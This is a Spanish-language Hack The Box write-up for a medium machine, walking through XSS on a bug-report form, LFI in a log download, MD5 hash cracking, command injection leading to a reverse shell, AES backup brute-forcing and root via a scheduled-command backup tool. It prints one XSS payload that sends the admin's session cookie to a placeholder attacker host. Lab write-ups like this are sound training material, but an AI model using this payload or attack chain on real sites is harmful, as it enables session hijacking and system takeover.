deviltrigger@home:~$

Imagery WriteUp Hack The Box

Introducción

Hoy vamos a resolver Imaginary, una máquina de nivel medio de HackTheBox que nos permitirá practicar diversas técnicas de pentesting web. Esta máquina es particularmente interesante porque combina vulnerabilidades clásicas que todo pentester debe conocer: desde la explotación de XSS (Cross-Site Scripting) para robar cookies de sesión, hasta ataques de Local File Inclusion (LFI) y ejecución remota de comandos.

El escenario nos presenta una aplicación web aparentemente sencilla con funcionalidad de carga de imágenes, pero que esconde múltiples vectores de ataque.

Reconocimiento

Comenzamos escaneando los puertos abiertos de la máquina. En este caso, tiene abiertos el puerto 22 (SSH), con el que no podremos hacer nada de momento ya que no disponemos de credenciales, y el puerto 8000, donde se encuentra alojada una aplicación web.

Si accedemos a la máquina a través del puerto 8000, veremos una web con funcionalidades básicas: registro de usuarios e inicio de sesión.

Después de enumerar posibles subdominios sin resultados, procedo a crear una cuenta y acceder a ella.

Una vez dentro, las funcionalidades son limitadas: únicamente podemos subir imágenes.

Intento enumerar posibles directorios, pero tampoco encuentro nada relevante.

Al revisar el código fuente de la web, descubro que existe la ruta /admin/bug_reports junto con algunas funciones asociadas a esta ruta.

Examinando más detenidamente la sección inferior de la web, aparece un botón nuevo que anteriormente no estaba visible y que sirve para informar de fallos en la plataforma.

Al acceder a esta sección, nos solicita el nombre del fallo y los detalles del mismo.

Explotación

En este tipo de situaciones, la primera opción es probar una inyección XSS. Rellenaremos el formulario con un payload que, cuando el administrador acceda a revisar el reporte y no pueda cargar la imagen, nos envíe su cookie de sesión a nuestro puerto en escucha:

<img src=x onerror="document.location='http://<IPAtacante>:<Puerto>/?cookie='+document.cookie">

Pongo el puerto 4444 en escucha para recibir la cookie y después envío el formulario con la inyección de código. Al cabo de unos momentos, recibo una petición GET con la cookie del usuario administrador.

Presiono F12 para abrir las herramientas de desarrollo y modifico mi cookie de sesión por la cookie obtenida del usuario admin. Al refrescar la página, aparece el botón que nos da acceso al panel de administrador.

Dentro de este panel podemos descargar los registros de los usuarios que se han registrado en la web y los fallos que han sido reportados.

Intercepto la petición cuando pulso el botón “Download Log” para ver qué ocurre por detrás. Al probar un ataque de Local File Inclusion (LFI), descubro que podemos enumerar cualquier archivo de la máquina.

Probando archivos comunes como /proc/self/environ, encuentro que existe la ruta /home/web, donde podrían estar los archivos de configuración de la aplicación.

Tras enumerar varios archivos, localizo un archivo de configuración que describe cómo está configurada la web. Dentro de este archivo encuentro la ruta de la base de datos de la aplicación.

Al leer el archivo de la base de datos, encuentro los usuarios creados en la web y sus contraseñas cifradas con MD5.

Como ya hemos accedido a la web con el usuario “admin”, pruebo a acceder con el usuario “testuser”. Copio su contraseña cifrada y la descifro con CrackStation.

Al acceder a la cuenta de “testuser”, tenemos los mismos botones que un usuario normal. Procedo a subir una foto y experimentar con las funcionalidades disponibles.

El formulario solicita la imagen que queremos subir junto con algunos parámetros adicionales.

Dentro de las opciones podemos recortar la imagen. Intercepto la petición que se genera cuando modificamos la imagen.

Dentro de las opciones podemos recortar la imagen. Intercepto la petición que se genera cuando modificamos la imagen.

Descubro que podemos ejecutar comandos del sistema desde cualquier parámetro de la petición.

Sabiendo esto, puedo crear una reverse shell. Pongo mi máquina en escucha y envío la petición con el comando de conexión remota. Si todo ha ido bien, obtengo acceso a la máquina como el usuario “web”.

Tras realizar una enumeración exhaustiva de la máquina, encuentro en la ruta /var/backup un archivo cifrado con extensión .aes.

Como la máquina tiene Python instalado, creo un servidor web dentro de la máquina para copiar el archivo a mi equipo e intentar descifrarlo.

Una vez iniciado el servidor, utilizo wget para descargar el archivo.

Con un poco de investigación, encuentro herramientas que realizan fuerza bruta a este tipo de archivos cifrados. En mi caso, utilicé dpyAesCrypt.py por su facilidad de uso. Al ejecutar la herramienta seguida del archivo cifrado y del diccionario de palabras, tras un tiempo de procesamiento, el código extrae la clave del archivo y lo descifra.

Al extraer el archivo .zip, obtengo todos los archivos de la copia de seguridad de la web. Si reviso la base de datos que vimos anteriormente, encuentro que había otro usuario con su contraseña cifrada en formato MD5.

Repito el mismo proceso: copio y pego la contraseña cifrada en CrackStation.

Ahora tengo la contraseña de “mark”. Accedo a su cuenta del sistema y obtengo la primera flag.

Escalada de privilegios

Ya queda menos: solo falta la fase de escalada de privilegios para convertirnos en administrador del sistema. Lo más común es comenzar enumerando todo lo que puede ejecutar el usuario “mark” con permisos de administrador en la máquina. En este caso, “mark” puede ejecutar con permisos de administrador la aplicación “charol”, un programa para crear copias de seguridad en archivos comprimidos.

Como no sabemos qué contraseña tenía “mark” en esta herramienta, voy a reiniciarla y eliminar su contraseña. Una vez obtengo acceso a la herramienta, ejecuto el comando help para ver qué funciones puede realizar el programa.

Al parecer, el programa permite programar la ejecución de comandos cada cierto tiempo. Como la aplicación tiene permisos de administrador, puedo crear una reverse shell que me dé acceso al usuario “root” cada segundo.

Finalmente, una vez obtenida la conexión remota como el usuario “root”, puedo obtener la última flag de la máquina.

Conclusión

Y con esto llegamos al final de la resolución de Imaginary. Esta máquina nos ha permitido practicar una cadena completa de explotación que incluye múltiples vulnerabilidades comunes en aplicaciones web reales.

Espero que este writeup te haya resultado útil. ¡Nos vemos en la próxima publicación!

ken